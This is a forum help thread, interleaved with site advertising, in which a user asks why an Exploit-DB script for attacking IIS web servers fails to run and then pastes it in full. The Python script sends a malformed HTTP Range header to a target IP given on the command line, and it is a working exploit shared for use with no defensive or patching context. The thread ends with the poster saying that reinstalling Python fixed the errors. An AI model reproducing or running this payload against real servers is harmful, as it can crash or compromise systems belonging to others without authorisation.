Python Exploit Script

Been trying to use this script - https://www.exploit-db.com/exploits/36776/

Keep getting the following

./36776.py: line 3: $'\r': command not found
./36776.py: line 4: syntax error near unexpected token `sys.argv'
'/36776.py: line 4: `if len(sys.argv)<=1:
gmanInfrastructure Engineer Asked:
Who is Participating?
I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

aikimarkCommented:
I think you messed up with your copy/paste of the code.
0
gmanInfrastructure Engineer Author Commented:
No thats not the issue
0
aikimarkCommented:
please paste your code, preferably within a code snippet
0
ON-DEMAND: 10 Easy Ways to Lose a Password

Learn about the methods that hackers use to lift real, working credentials from even the most security-savvy employees in this on-demand webinar. We cover the importance of multi-factor authentication and how these solutions can better protect your business!

gmanInfrastructure Engineer Author Commented:
#Tested on Win Srv 2012R2.
import socket,sys
 
if len(sys.argv)<=1:	
 sys.exit('Give me an IP')

Host = sys.argv[1]

def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
   s.send(Payload)
   s.recv(1024)
   s.close()

#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"

SendPayload(Init, Host)
SendPayload(Payload, Host)

Open in new window

0
aikimarkCommented:
I can't recreate your error messages.

Please try this:
1. Click the Select All link below the code window above
2. Copy/paste the code into your environment
3. execute this version of the code
0
gmanInfrastructure Engineer Author Commented:
Reinstalling python fixed it.
0

Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
gmanInfrastructure Engineer Author Commented:
thats how i fixed it
0
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today
Python

From novice to tech pro — start learning today.